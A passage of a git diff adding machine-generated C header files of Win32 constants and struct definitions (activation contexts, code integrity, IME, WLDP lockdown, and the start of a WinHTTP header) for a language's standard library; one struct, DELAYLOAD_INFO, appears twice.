DEACTIVATE_ACTCTX_FLAG_FORCE_EARLY_DEACTIVATION 0x1 +#define FIND_ACTCTX_SECTION_KEY_RETURN_HACTCTX 0x1 +#define FIND_ACTCTX_SECTION_KEY_RETURN_FLAGS 0x2 +#define FIND_ACTCTX_SECTION_KEY_RETURN_ASSEMBLY_METADATA 0x4 +#define ACTIVATION_CONTEXT_BASIC_INFORMATION_DEFINED 0x1 +#define QUERY_ACTCTX_FLAG_USE_ACTIVE_ACTCTX 0x4 +#define QUERY_ACTCTX_FLAG_ACTCTX_IS_HMODULE 0x8 +#define QUERY_ACTCTX_FLAG_ACTCTX_IS_ADDRESS 0x10 +#define QUERY_ACTCTX_FLAG_NO_ADDREF 0x80000000 +#define RESTART_MAX_CMD_LINE 0x400 +#define RECOVERY_DEFAULT_PING_INTERVAL 0x1388 +#define FILE_RENAME_FLAG_REPLACE_IF_EXISTS 0x1 +#define FILE_RENAME_FLAG_POSIX_SEMANTICS 0x2 +#define FILE_RENAME_FLAG_SUPPRESS_PIN_STATE_INHERITANCE 0x4 +#define STORAGE_INFO_FLAGS_ALIGNED_DEVICE 0x1 +#define STORAGE_INFO_FLAGS_PARTITION_ALIGNED_ON_DEVICE 0x2 +#define STORAGE_INFO_OFFSET_UNKNOWN 0xffffffff +#define REMOTE_PROTOCOL_INFO_FLAG_LOOPBACK 0x1 +#define REMOTE_PROTOCOL_INFO_FLAG_OFFLINE 0x2 +#define REMOTE_PROTOCOL_INFO_FLAG_PERSISTENT_HANDLE 0x4 +#define RPI_FLAG_SMB2_SHARECAP_TIMEWARP 0x2 +#define RPI_FLAG_SMB2_SHARECAP_DFS 0x8 +#define RPI_FLAG_SMB2_SHARECAP_CONTINUOUS_AVAILABILITY 0x10 +#define RPI_FLAG_SMB2_SHARECAP_SCALEOUT 0x20 +#define RPI_FLAG_SMB2_SHARECAP_CLUSTER 0x40 +#define RPI_SMB2_SHAREFLAG_ENCRYPT_DATA 0x1 +#define RPI_SMB2_SHAREFLAG_COMPRESS_DATA 0x2 +#define RPI_SMB2_FLAG_SERVERCAP_DFS 0x1 +#define RPI_SMB2_FLAG_SERVERCAP_LEASING 0x2 +#define RPI_SMB2_FLAG_SERVERCAP_LARGEMTU 0x4 +#define RPI_SMB2_FLAG_SERVERCAP_MULTICHANNEL 0x8 +#define RPI_SMB2_FLAG_SERVERCAP_PERSISTENT_HANDLES 0x10 +#define RPI_SMB2_FLAG_SERVERCAP_DIRECTORY_LEASING 0x20 +#define MICROSOFT_WINDOWS_WINBASE_H_DEFINE_INTERLOCKED_CPLUSPLUS_OVERLOADS 0x0 +#define MICROSOFT_WINBASE_H_DEFINE_INTERLOCKED_CPLUSPLUS_OVERLOADS 0x0 +#define CODEINTEGRITY_OPTION_ENABLED 0x1 +#define CODEINTEGRITY_OPTION_TESTSIGN 0x2 +#define CODEINTEGRITY_OPTION_UMCI_ENABLED 0x4 +#define CODEINTEGRITY_OPTION_UMCI_AUDITMODE_ENABLED 0x8 +#define CODEINTEGRITY_OPTION_UMCI_EXCLUSIONPATHS_ENABLED 0x10 +#define CODEINTEGRITY_OPTION_TEST_BUILD 0x20 +#define CODEINTEGRITY_OPTION_PREPRODUCTION_BUILD 0x40 +#define CODEINTEGRITY_OPTION_DEBUGMODE_ENABLED 0x80 +#define CODEINTEGRITY_OPTION_FLIGHT_BUILD 0x100 +#define CODEINTEGRITY_OPTION_FLIGHTING_ENABLED 0x200 +#define CODEINTEGRITY_OPTION_HVCI_KMCI_ENABLED 0x400 +#define CODEINTEGRITY_OPTION_HVCI_KMCI_AUDITMODE_ENABLED 0x800 +#define CODEINTEGRITY_OPTION_HVCI_KMCI_STRICTMODE_ENABLED 0x1000 +#define CODEINTEGRITY_OPTION_HVCI_IUM_ENABLED 0x2000 +#define FILE_MAXIMUM_DISPOSITION 0x5 +#define FILE_OPEN_REMOTE_INSTANCE 0x400 +#define FILE_NO_COMPRESSION 0x8000 +#define FILE_OPEN_NO_RECALL 0x400000 +#define FILE_VALID_OPTION_FLAGS 0xffffff +#define FILE_VALID_PIPE_OPTION_FLAGS 0x32 +#define FILE_VALID_MAILSLOT_OPTION_FLAGS 0x32 +#define FILE_VALID_SET_FLAGS 0x36 +#define FILE_SUPERSEDED 0x0 +#define FILE_OPENED 0x1 +#define FILE_CREATED 0x2 +#define FILE_OVERWRITTEN 0x3 +#define FILE_EXISTS 0x4 +#define FILE_DOES_NOT_EXIST 0x5 +#define WINWATCHNOTIFY_START 0x0 +#define WINWATCHNOTIFY_STOP 0x1 +#define WINWATCHNOTIFY_DESTROY 0x2 +#define WINWATCHNOTIFY_CHANGING 0x3 +#define WINWATCHNOTIFY_CHANGED 0x4 +#define RSC_FLAG_INF 0x1 +#define RSC_FLAG_SKIPDISKSPACECHECK 0x2 +#define RSC_FLAG_QUIET 0x4 +#define RSC_FLAG_NGCONV 0x8 +#define RSC_FLAG_UPDHLPDLLS 0x10 +#define RSC_FLAG_DELAYREGISTEROCX 0x200 +#define RSC_FLAG_SETUPAPI 0x400 +#define ALINF_QUIET 0x4 +#define ALINF_NGCONV 0x8 +#define ALINF_UPDHLPDLLS 0x10 +#define ALINF_BKINSTALL 0x20 +#define ALINF_ROLLBACK 0x40 +#define ALINF_CHECKBKDATA 0x80 +#define ALINF_ROLLBKDOALL 0x100 +#define ALINF_DELAYREGISTEROCX 0x200 +#define AIF_WARNIFSKIP 0x1 +#define AIF_NOSKIP 0x2 +#define AIF_NOVERSIONCHECK 0x4 +#define AIF_FORCE_FILE_IN_USE 0x8 +#define AIF_NOOVERWRITE 0x10 +#define AIF_NO_VERSION_DIALOG 0x20 +#define AIF_REPLACEONLY 0x400 +#define AIF_NOLANGUAGECHECK 0x10000000 +#define AIF_QUIET 0x20000000 +#define IE4_RESTORE 0x1 +#define IE4_BACKNEW 0x2 +#define IE4_NODELETENEW 0x4 +#define IE4_NOMESSAGES 0x8 +#define IE4_NOPROGRESS 0x10 +#define IE4_NOENUMKEY 0x20 +#define IE4_NO_CRC_MAPPING 0x40 +#define IE4_REGSECTION 0x80 +#define IE4_FRDOALL 0x100 +#define IE4_UPDREFCNT 0x200 +#define IE4_USEREFCNT 0x400 +#define IE4_EXTRAINCREFCNT 0x800 +#define IE4_REMOVREGBKDATA 0x1000 +#define ARSR_RESTORE 0x1 +#define ARSR_NOMESSAGES 0x8 +#define ARSR_REGSECTION 0x80 +#define ARSR_REMOVREGBKDATA 0x1000 +// SKIPPED const REG_SAVE_LOG_KEY: non-integer constant +// SKIPPED const REG_RESTORE_LOG_KEY: non-integer constant +#define AFSR_RESTORE 0x1 +#define AFSR_BACKNEW 0x2 +#define AFSR_NODELETENEW 0x4 +#define AFSR_NOMESSAGES 0x8 +#define AFSR_NOPROGRESS 0x10 +#define AFSR_UPDREFCNT 0x200 +#define AFSR_USEREFCNT 0x400 +#define AFSR_EXTRAINCREFCNT 0x800 +#define AADBE_ADD_ENTRY 0x1 +#define AADBE_DEL_ENTRY 0x2 +#define ADN_DEL_IF_EMPTY 0x1 +#define ADN_DONT_DEL_SUBDIRS 0x2 +#define ADN_DONT_DEL_DIR 0x4 +#define ADN_DEL_UNC_PATHS 0x8 +#define LIS_QUIET 0x1 +#define LIS_NOGRPCONV 0x2 +#define RUNCMDS_QUIET 0x1 +#define RUNCMDS_NOWAIT 0x2 +#define RUNCMDS_DELAYPOSTCMD 0x4 +#define IME_MAXPROCESS 0x20 +#define CP_HWND 0x0 +#define CP_OPEN 0x1 +#define CP_DIRECT 0x2 +#define CP_LEVEL 0x3 +#define MCW_DEFAULT 0x0 +#define MCW_RECT 0x1 +#define MCW_WINDOW 0x2 +#define MCW_SCREEN 0x4 +#define MCW_VERTICAL 0x8 +#define MCW_HIDDEN 0x10 +#define IME_MODE_ALPHANUMERIC 0x1 +#define IME_MODE_SBCSCHAR 0x2 +#define IME_MODE_KATAKANA 0x2 +#define IME_MODE_HIRAGANA 0x4 +#define IME_MODE_HANJACONVERT 0x4 +#define IME_MODE_DBCSCHAR 0x10 +#define IME_MODE_ROMAN 0x20 +#define IME_MODE_NOROMAN 0x40 +#define IME_MODE_CODEINPUT 0x80 +#define IME_MODE_NOCODEINPUT 0x100 +#define IME_GETIMECAPS 0x3 +#define IME_SETOPEN 0x4 +#define IME_GETOPEN 0x5 +#define IME_GETVERSION 0x7 +#define IME_SETCONVERSIONWINDOW 0x8 +#define IME_MOVEIMEWINDOW 0x8 +#define IME_SETCONVERSIONMODE 0x10 +#define IME_GETCONVERSIONMODE 0x11 +#define IME_SET_MODE 0x12 +#define IME_SENDVKEY 0x13 +#define IME_ENTERWORDREGISTERMODE 0x18 +#define IME_SETCONVERSIONFONTEX 0x19 +#define IME_BANJAtoJUNJA 0x13 +#define IME_JUNJAtoBANJA 0x14 +#define IME_JOHABtoKS 0x15 +#define IME_KStoJOHAB 0x16 +#define IMEA_INIT 0x1 +#define IMEA_NEXT 0x2 +#define IMEA_PREV 0x3 +#define IME_REQUEST_CONVERT 0x1 +#define IME_ENABLE_CONVERT 0x2 +#define INTERIM_WINDOW 0x0 +#define MODE_WINDOW 0x1 +#define HANJA_WINDOW 0x2 +#define IME_RS_ERROR 0x1 +#define IME_RS_NOIME 0x2 +#define IME_RS_TOOLONG 0x5 +#define IME_RS_ILLEGAL 0x6 +#define IME_RS_NOTFOUND 0x7 +#define IME_RS_NOROOM 0xa +#define IME_RS_DISKERROR 0xe +#define IME_RS_INVALID 0x11 +#define IME_RS_NEST 0x12 +#define IME_RS_SYSTEMMODAL 0x13 +#define WM_IME_REPORT 0x280 +#define IR_STRINGSTART 0x100 +#define IR_STRINGEND 0x101 +#define IR_OPENCONVERT 0x120 +#define IR_CHANGECONVERT 0x121 +#define IR_CLOSECONVERT 0x122 +#define IR_FULLCONVERT 0x123 +#define IR_IMESELECT 0x130 +#define IR_STRING 0x140 +#define IR_DBCSCHAR 0x160 +#define IR_UNDETERMINE 0x170 +#define IR_STRINGEX 0x180 +#define IR_MODEINFO 0x190 +#define WM_WNT_CONVERTREQUESTEX 0x109 +#define WM_CONVERTREQUEST 0x10a +#define WM_CONVERTRESULT 0x10b +#define WM_INTERIM 0x10c +#define WM_IMEKEYDOWN 0x290 +#define WM_IMEKEYUP 0x291 +#define DELAYLOAD_GPA_FAILURE 0x4 +#define DELETE_BROWSING_HISTORY_HISTORY 0x1 +#define DELETE_BROWSING_HISTORY_COOKIES 0x2 +#define DELETE_BROWSING_HISTORY_TIF 0x4 +#define DELETE_BROWSING_HISTORY_FORMDATA 0x8 +#define DELETE_BROWSING_HISTORY_PASSWORDS 0x10 +#define DELETE_BROWSING_HISTORY_PRESERVEFAVORITES 0x20 +#define DELETE_BROWSING_HISTORY_DOWNLOADHISTORY 0x40 +#define WLDP_EXECUTION_POLICY_BLOCKED 0 +#define WLDP_EXECUTION_POLICY_ALLOWED 1 +#define WLDP_EXECUTION_POLICY_REQUIRE_SANDBOX 2 +#define WLDP_HOST_RUNDLL32 0 +#define WLDP_HOST_SVCHOST 1 +#define WLDP_HOST_MAX 2 +#define Mp4 0 +#define Wmv 1 +#define FEATURE_ENABLED_STATE_DEFAULT 0 +#define FEATURE_ENABLED_STATE_DISABLED 1 +#define FEATURE_ENABLED_STATE_ENABLED 2 +#define WLDP_EXECUTION_EVALUATION_OPTION_NONE 0 +#define WLDP_EXECUTION_EVALUATION_OPTION_EXECUTE_IN_INTERACTIVE_SESSION 1 +#define GENERIC_ENTITY 0x0 +#define AT_ENTITY 0x280 +#define CL_NL_ENTITY 0x301 +#define CO_NL_ENTITY 0x300 +#define CL_TL_ENTITY 0x401 +#define CO_TL_ENTITY 0x400 +#define ER_ENTITY 0x380 +#define IF_ENTITY 0x200 +#define WLDP_POLICY_SETTING_AV_PERF_MODE 1000 +#define WLDP_HOST_ID_UNKNOWN 0 +#define WLDP_HOST_ID_GLOBAL 1 +#define WLDP_HOST_ID_VBA 2 +#define WLDP_HOST_ID_WSH 3 +#define WLDP_HOST_ID_POWERSHELL 4 +#define WLDP_HOST_ID_IE 5 +#define WLDP_HOST_ID_MSI 6 +#define WLDP_HOST_ID_ALL 7 +#define WLDP_HOST_ID_MAX 8 +#define WinStationInformation 8 +#define EndpointIoControlType 0 +#define SetSockOptIoControlType 1 +#define GetSockOptIoControlType 2 +#define SocketIoControlType 3 +#define FEATURE_CHANGE_TIME_READ 0 +#define FEATURE_CHANGE_TIME_MODULE_RELOAD 1 +#define FEATURE_CHANGE_TIME_SESSION 2 +#define FEATURE_CHANGE_TIME_REBOOT 3 +#define Single 0 +#define Multiple 1 +#define DECISION_LOCATION_REFRESH_GLOBAL_DATA 0 +#define DECISION_LOCATION_PARAMETER_VALIDATION 1 +#define DECISION_LOCATION_AUDIT 2 +#define DECISION_LOCATION_FAILED_CONVERT_GUID 3 +#define DECISION_LOCATION_ENTERPRISE_DEFINED_CLASS_ID 4 +#define DECISION_LOCATION_GLOBAL_BUILT_IN_LIST 5 +#define DECISION_LOCATION_PROVIDER_BUILT_IN_LIST 6 +#define DECISION_LOCATION_ENFORCE_STATE_LIST 7 +#define DECISION_LOCATION_NOT_FOUND 8 +#define DECISION_LOCATION_UNKNOWN 9 +#define Browse 0 +#define Linear 1 +#define PhotoOrVideo 0 +#define Photo 1 +#define Video 2 +#define VALUENAME_UNKNOWN 0 +#define VALUENAME_ENTERPRISE_DEFINED_CLASS_ID 1 +#define VALUENAME_BUILT_IN_LIST 2 +#define WLDP_WINDOWS_LOCKDOWN_MODE_UNLOCKED 0 +#define WLDP_WINDOWS_LOCKDOWN_MODE_TRIAL 1 +#define WLDP_WINDOWS_LOCKDOWN_MODE_LOCKED 2 +#define WLDP_WINDOWS_LOCKDOWN_MODE_MAX 3 +#define SingleItem 0 +#define ItemList 1 +#define KEY_UNKNOWN 0 +#define KEY_OVERRIDE 1 +#define KEY_ALL_KEYS 2 +#define WLDP_SECURE_SETTING_VALUE_TYPE_BOOLEAN 0 +#define WLDP_SECURE_SETTING_VALUE_TYPE_ULONG 1 +#define WLDP_SECURE_SETTING_VALUE_TYPE_BINARY 2 +#define WLDP_SECURE_SETTING_VALUE_TYPE_STRING 3 +#define Jpeg 0 +#define Png 1 +#define JpegXR 2 +#define WLDP_WINDOWS_LOCKDOWN_RESTRICTION_NONE 0 +#define WLDP_WINDOWS_LOCKDOWN_RESTRICTION_NOUNLOCK 1 +#define WLDP_WINDOWS_LOCKDOWN_RESTRICTION_NOUNLOCK_PERMANENT 2 +#define WLDP_WINDOWS_LOCKDOWN_RESTRICTION_MAX 3 + +typedef struct _TCP_REQUEST_QUERY_INFORMATION_EX_W2K { + void* ID; + unsigned char Context[16]; +} TCP_REQUEST_QUERY_INFORMATION_EX_W2K; + +typedef struct _ACTIVATION_CONTEXT_BASIC_INFORMATION { + void* hActCtx; + unsigned int dwFlags; +} ACTIVATION_CONTEXT_BASIC_INFORMATION; + +typedef struct _TCP_REQUEST_QUERY_INFORMATION_EX32_XP { + void* ID; + unsigned int Context[4]; +} TCP_REQUEST_QUERY_INFORMATION_EX32_XP; + +typedef struct _LDR_DATA_TABLE_ENTRY { + void* Reserved1[2]; + void* InMemoryOrderLinks; + void* Reserved2[2]; + void* DllBase; + void* Reserved3[2]; + void* FullDllName; + unsigned char Reserved4[8]; + void* Reserved5[3]; + void* Anonymous; + unsigned int TimeDateStamp; +} LDR_DATA_TABLE_ENTRY; + +typedef struct _SYSTEM_CODEINTEGRITY_INFORMATION { + unsigned int Length; + unsigned int CodeIntegrityOptions; +} SYSTEM_CODEINTEGRITY_INFORMATION; + +typedef struct _TCP_REQUEST_QUERY_INFORMATION_EX_XP { + void* ID; + unsigned long long Context[4]; +} TCP_REQUEST_QUERY_INFORMATION_EX_XP; + +typedef struct _DELAYLOAD_PROC_DESCRIPTOR { + unsigned int ImportDescribedByName; + void* Description; +} DELAYLOAD_PROC_DESCRIPTOR; + +typedef struct _SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION { + long long IdleTime; + long long KernelTime; + long long UserTime; + long long Reserved1[2]; + unsigned int Reserved2; +} SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION; + +typedef struct _SYSTEM_HANDLECOUNT_INFORMATION { + unsigned int ProcessCount; + unsigned int ThreadCount; + unsigned int HandleCount; +} SYSTEM_HANDLECOUNT_INFORMATION; + +typedef struct _TDIObjectID { + void* toi_entity; + unsigned int toi_class; + unsigned int toi_type; + unsigned int toi_id; +} TDIObjectID; + +typedef struct _IMAGE_THUNK_DATA64 { + void* u1; +} IMAGE_THUNK_DATA64; + +typedef struct _DCICREATEINPUT { + void* cmd; + unsigned int dwCompression; + unsigned int dwMask[3]; + unsigned int dwWidth; + unsigned int dwHeight; + unsigned int dwDCICaps; + unsigned int dwBitCount; + void* lpSurface; +} DCICREATEINPUT; + +typedef struct _HW_PROFILE_INFOW { + unsigned int dwDockInfo; + unsigned short szHwProfileGuid[39]; + unsigned short szHwProfileName[80]; +} HW_PROFILE_INFOW; + +typedef struct _CLIENT_ID { + void* UniqueProcess; + void* UniqueThread; +} CLIENT_ID; + +typedef struct _WLDP_DEVICE_SECURITY_INFORMATION { + unsigned int UnlockIdSize; + void* UnlockId; + unsigned int ManufacturerIDLength; + void* ManufacturerID; +} WLDP_DEVICE_SECURITY_INFORMATION; + +typedef struct _IMAGE_THUNK_DATA32 { + void* u1; +} IMAGE_THUNK_DATA32; + +// SKIPPED struct EditionUpgradeHelper: no representable fields +typedef struct _TDIEntityID { + void* tei_entity; + unsigned int tei_instance; +} TDIEntityID; + +typedef struct _CABINFOW { + void* pszCab; + void* pszInf; + void* pszSection; + unsigned short szSrcPath[260]; + unsigned int dwFlags; +} CABINFOW; + +typedef struct _SYSTEM_LOOKASIDE_INFORMATION { + unsigned char Reserved1[32]; +} SYSTEM_LOOKASIDE_INFORMATION; + +typedef struct _DCICMD { + unsigned int dwCommand; + unsigned int dwParam1; + unsigned int dwParam2; + unsigned int dwVersion; + unsigned int dwReserved; +} DCICMD; + +typedef struct _PERUSERSECTIONA { + unsigned char szGUID[59]; + unsigned char szDispName[128]; + unsigned char szLocale[10]; + unsigned char szStub[1040]; + unsigned char szVersion[32]; + unsigned char szCompID[128]; + unsigned int dwIsInstalled; + BOOL bRollback; +} PERUSERSECTIONA; + +typedef struct _WLDP_HOST_INFORMATION { + unsigned int dwRevision; + void* dwHostId; + void* szSource; + void* hSource; +} WLDP_HOST_INFORMATION; + +typedef struct _STRENTRYW { + void* pszName; + void* pszValue; +} STRENTRYW; + +// SKIPPED struct CameraUIControl: no representable fields +typedef struct _SYSTEM_BASICPROCESS_INFORMATION { + unsigned int NextEntryOffset; + void* UniqueProcessId; + void* InheritedFromUniqueProcessId; + unsigned long long SequenceNumber; + void* ImageName; +} SYSTEM_BASICPROCESS_INFORMATION; + +typedef struct _STRINGEXSTRUCT { + unsigned int dwSize; + unsigned int uDeterminePos; + unsigned int uDetermineDelimPos; + unsigned int uYomiPos; + unsigned int uYomiDelimPos; +} STRINGEXSTRUCT; + +typedef struct _DELAYLOAD_INFO { + unsigned int Size; + void* DelayloadDescriptor; + void* ThunkAddress; + void* TargetDllName; + void* TargetApiDescriptor; + void* TargetModuleBase; + void* Unused; + unsigned int LastError; +} DELAYLOAD_INFO; + +typedef struct _DELAYLOAD_INFO { + unsigned int Size; + void* DelayloadDescriptor; + void* ThunkAddress; + void* TargetDllName; + void* TargetApiDescriptor; + void* TargetModuleBase; + void* Unused; + unsigned int LastError; +} DELAYLOAD_INFO; + +typedef struct _STRTABLEA { + unsigned int cEntries; + void* pse; +} STRTABLEA; + +// SKIPPED struct DefaultBrowserSyncSettings: no representable fields +typedef struct _IMEPROW { + void* hWnd; + void* InstDate; + unsigned int wVersion; + unsigned short szDescription[50]; + unsigned short szName[80]; + unsigned short szOptions[30]; +} IMEPROW; + +typedef struct _SYSTEM_INTERRUPT_INFORMATION { + unsigned char Reserved1[24]; +} SYSTEM_INTERRUPT_INFORMATION; + +typedef struct _PROCESS_CREATION_SVE_VECTOR_LENGTH { + unsigned int Data; + void* Anonymous; +} PROCESS_CREATION_SVE_VECTOR_LENGTH; + +typedef struct _ACTCTX_SECTION_KEYED_DATA_2600 { + unsigned int cbSize; + unsigned int ulDataFormatVersion; + void* lpData; + unsigned int ulLength; + void* lpSectionGlobalData; + unsigned int ulSectionGlobalDataLength; + void* lpSectionBase; + unsigned int ulSectionTotalLength; + void* hActCtx; + unsigned int ulAssemblyRosterIndex; +} ACTCTX_SECTION_KEYED_DATA_2600; + +typedef struct _SYSTEM_PROCESS_INFORMATION { + unsigned int NextEntryOffset; + unsigned int NumberOfThreads; + unsigned char Reserved1[48]; + void* ImageName; + int BasePriority; + void* UniqueProcessId; + void* Reserved2; + unsigned int HandleCount; + unsigned int SessionId; + void* Reserved3; + unsigned long long PeakVirtualSize; + unsigned long long VirtualSize; + unsigned int Reserved4; + unsigned long long PeakWorkingSetSize; + unsigned long long WorkingSetSize; + void* Reserved5; + unsigned long long QuotaPagedPoolUsage; + void* Reserved6; + unsigned long long QuotaNonPagedPoolUsage; + unsigned long long PagefileUsage; + unsigned long long PeakPagefileUsage; + unsigned long long PrivatePageCount; + long long Reserved7[6]; +} SYSTEM_PROCESS_INFORMATION; + +typedef struct _PUBLIC_OBJECT_TYPE_INFORMATION { + void* TypeName; + unsigned int Reserved[22]; +} PUBLIC_OBJECT_TYPE_INFORMATION; + +typedef struct _SYSTEM_BASIC_INFORMATION { + unsigned char Reserved1[24]; + void* Reserved2[4]; + signed char NumberOfProcessors; +} SYSTEM_BASIC_INFORMATION; + +typedef struct _JIT_DEBUG_INFO { + unsigned int dwSize; + unsigned int dwProcessorArchitecture; + unsigned int dwThreadID; + unsigned int dwReserved0; + unsigned long long lpExceptionAddress; + unsigned long long lpExceptionRecord; + unsigned long long lpContextRecord; +} JIT_DEBUG_INFO; + +typedef struct _PERUSERSECTIONW { + unsigned short szGUID[59]; + unsigned short szDispName[128]; + unsigned short szLocale[10]; + unsigned short szStub[1040]; + unsigned short szVersion[32]; + unsigned short szCompID[128]; + unsigned int dwIsInstalled; + BOOL bRollback; +} PERUSERSECTIONW; + +typedef struct _SYSTEM_THREAD_INFORMATION { + long long Reserved1[3]; + unsigned int Reserved2; + void* StartAddress; + void* ClientId; + int Priority; + int BasePriority; + unsigned int Reserved3; + unsigned int ThreadState; + unsigned int WaitReason; +} SYSTEM_THREAD_INFORMATION; + +typedef struct _DCIOVERLAY { + void* dciInfo; + unsigned int dwChromakeyValue; + unsigned int dwChromakeyMask; +} DCIOVERLAY; + +typedef struct _DCIENUMINPUT { + void* cmd; + void* rSrc; + void* rDst; + long long EnumCallback; + void* lpContext; +} DCIENUMINPUT; + +typedef struct _CUSTOM_SYSTEM_EVENT_TRIGGER_CONFIG { + unsigned int Size; + void* TriggerId; +} CUSTOM_SYSTEM_EVENT_TRIGGER_CONFIG; + +typedef struct _SYSTEM_REGISTRY_QUOTA_INFORMATION { + unsigned int RegistryQuotaAllowed; + unsigned int RegistryQuotaUsed; + void* Reserved1; +} SYSTEM_REGISTRY_QUOTA_INFORMATION; + +typedef struct _THREAD_NAME_INFORMATION { + void* ThreadName; +} THREAD_NAME_INFORMATION; + +typedef struct _IMEPROA { + void* hWnd; + void* InstDate; + unsigned int wVersion; + unsigned char szDescription[50]; + unsigned char szName[80]; + unsigned char szOptions[30]; +} IMEPROA; + +// SKIPPED struct EditionUpgradeBroker: no representable fields +typedef struct _STRTABLEW { + unsigned int cEntries; + void* pse; +} STRTABLEW; + +typedef struct _HW_PROFILE_INFOA { + unsigned int dwDockInfo; + unsigned char szHwProfileGuid[39]; + unsigned char szHwProfileName[80]; +} HW_PROFILE_INFOA; + +typedef struct _PUBLIC_OBJECT_BASIC_INFORMATION { + unsigned int Attributes; + unsigned int GrantedAccess; + unsigned int HandleCount; + unsigned int PointerCount; + unsigned int Reserved[10]; +} PUBLIC_OBJECT_BASIC_INFORMATION; + +typedef struct _JAVA_TRUST { + unsigned int cbSize; + unsigned int flag; + BOOL fAllActiveXPermissions; + BOOL fAllPermissions; + unsigned int dwEncodingType; + void* pbJavaPermissions; + unsigned int cbJavaPermissions; + void* pbSigner; + unsigned int cbSigner; + void* pwszZone; + void* guidZone; + int hVerify; +} JAVA_TRUST; + +typedef struct _IMAGE_DELAYLOAD_DESCRIPTOR { + void* Attributes; + unsigned int DllNameRVA; + unsigned int ModuleHandleRVA; + unsigned int ImportAddressTableRVA; + unsigned int ImportNameTableRVA; + unsigned int BoundImportAddressTableRVA; + unsigned int UnloadInformationTableRVA; + unsigned int TimeDateStamp; +} IMAGE_DELAYLOAD_DESCRIPTOR; + +typedef struct _ACTCTX_SECTION_KEYED_DATA_ASSEMBLY_METADATA { + void* lpInformation; + void* lpSectionBase; + unsigned int ulSectionLength; + void* lpSectionGlobalDataBase; + unsigned int ulSectionGlobalDataLength; +} ACTCTX_SECTION_KEYED_DATA_ASSEMBLY_METADATA; + +typedef struct _SYSTEM_POLICY_INFORMATION { + void* Reserved1[2]; + unsigned int Reserved2[3]; +} SYSTEM_POLICY_INFORMATION; + +typedef struct _WINSTATIONINFORMATIONW { + unsigned char Reserved2[70]; + unsigned int LogonId; + unsigned char Reserved3[1140]; +} WINSTATIONINFORMATIONW; + +typedef struct _TDI_TL_IO_CONTROL_ENDPOINT { + void* Type; + unsigned int Level; + void* Anonymous; + void* InputBuffer; + unsigned int InputBufferLength; + void* OutputBuffer; + unsigned int OutputBufferLength; +} TDI_TL_IO_CONTROL_ENDPOINT; + +typedef struct _UNDETERMINESTRUCT { + unsigned int dwSize; + unsigned int uDefIMESize; + unsigned int uDefIMEPos; + unsigned int uUndetTextLen; + unsigned int uUndetTextPos; + unsigned int uUndetAttrPos; + unsigned int uCursorPos; + unsigned int uDeltaStart; + unsigned int uDetermineTextLen; + unsigned int uDetermineTextPos; + unsigned int uDetermineDelimPos; + unsigned int uYomiTextLen; + unsigned int uYomiTextPos; + unsigned int uYomiDelimPos; +} UNDETERMINESTRUCT; + +typedef struct _SYSTEM_PERFORMANCE_INFORMATION { + unsigned char Reserved1[312]; +} SYSTEM_PERFORMANCE_INFORMATION; + +typedef struct _SYSTEM_TIMEOFDAY_INFORMATION { + unsigned char Reserved1[48]; +} SYSTEM_TIMEOFDAY_INFORMATION; + +typedef struct _SYSTEM_EXCEPTION_INFORMATION { + unsigned char Reserved1[16]; +} SYSTEM_EXCEPTION_INFORMATION; + +typedef struct _CABINFOA { + void* pszCab; + void* pszInf; + void* pszSection; + unsigned char szSrcPath[260]; + unsigned int dwFlags; +} CABINFOA; + +typedef struct _STRENTRYA { + void* pszName; + void* pszValue; +} STRENTRYA; + +typedef struct _FEATURE_STATE_CHANGE_SUBSCRIPTION { + void* Value; +} FEATURE_STATE_CHANGE_SUBSCRIPTION; + +typedef struct _TCP_REQUEST_SET_INFORMATION_EX { + void* ID; + unsigned int BufferSize; + unsigned char Buffer[1]; +} TCP_REQUEST_SET_INFORMATION_EX; + +typedef struct _DATETIME { + unsigned short year; + unsigned short month; + unsigned short day; + unsigned short hour; + unsigned short min; + unsigned short sec; +} DATETIME; + +typedef struct _FEATURE_ERROR { + int hr; + unsigned short lineNumber; + void* file; + void* process; + void* module; + unsigned int callerReturnAddressOffset; + void* callerModule; + void* message; + unsigned short originLineNumber; + void* originFile; + void* originModule; + unsigned int originCallerReturnAddressOffset; + void* originCallerModule; + void* originName; +} FEATURE_ERROR; + +typedef struct _HWINWATCH { + void* Value; +} HWINWATCH; + +typedef struct _DCIOFFSCREEN { + void* dciInfo; + long long Draw; + long long SetClipList; + long long SetDestination; +} DCIOFFSCREEN; + +typedef struct _DCISURFACEINFO { + unsigned int dwSize; + unsigned int dwDCICaps; + unsigned int dwCompression; + unsigned int dwMask[3]; + unsigned int dwWidth; + unsigned int dwHeight; + int lStride; + unsigned int dwBitCount; + unsigned long long dwOffSurface; + unsigned short wSelSurface; + unsigned short wReserved; + unsigned int dwReserved1; + unsigned int dwReserved2; + unsigned int dwReserved3; + long long BeginAccess; + long long EndAccess; + long long DestroySurface; +} DCISURFACEINFO; + +typedef struct _IMESTRUCT { + unsigned int fnc; + void* wParam; + unsigned int wCount; + unsigned int dchSource; + unsigned int dchDest; + void* lParam1; + void* lParam2; + void* lParam3; +} IMESTRUCT; + diff --git a/stdlib/win32/winhttp.h b/stdlib/win32/winhttp.h new file mode 100644 index 0000000..5df5923 --- /dev/null +++ b/stdlib/win32/winhttp.h @@ -0,0 +1,1046 @@ +// Generated by entc-win32gen from `Windows.Win32.Networking.WinHttp`. +// Do not edit by hand. Re-run the generator to refresh. + +typedef unsigned char BYTE; +typedef unsigned short WORD; +typedef unsigned long DWORD; +typedef unsigned long long ULONGLONG; +typedef long LONG; +typedef unsigned long ULONG; +typedef int BOOL; +typedef void* PVOID; +typedef void* HANDLE; + +#define HTTPREQUEST_PROXYSETTING_DEFAULT 0x0 +#define HTTPREQUEST_PROXYSETTING_PRECONFIG 0x0 +#define HTTPREQUEST_PROXYSETTING_DIRECT 0x1 +#define HTTPREQUEST_PROXYSETTING_PROXY 0x2 +#define HTTPREQUEST_SETCREDENTIALS_FOR_SERVER 0x0 +#define HTTPREQUEST_SETCREDENTIALS_FOR_PROXY 0x1 +#define INTERNET_DEFAULT_PORT 0x0 +#define INTERNET_DEFAULT_HTTP_PORT 0x50 +#define INTERNET_DEFAULT_HTTPS_PORT 0x1bb +#define WINHTTP_FLAG_ASYNC 0x10000000 +#define WINHTTP_FLAG_SECURE_DEFAULTS 0x30000000 +#define WINHTTP_FLAG_AUTOMATIC_CHUNKING 0x200 +#define SECURITY_FLAG_IGNORE_UNKNOWN_CA 0x100 +#define SECURITY_FLAG_IGNORE_CERT_WRONG_USAGE 0x200 +#define 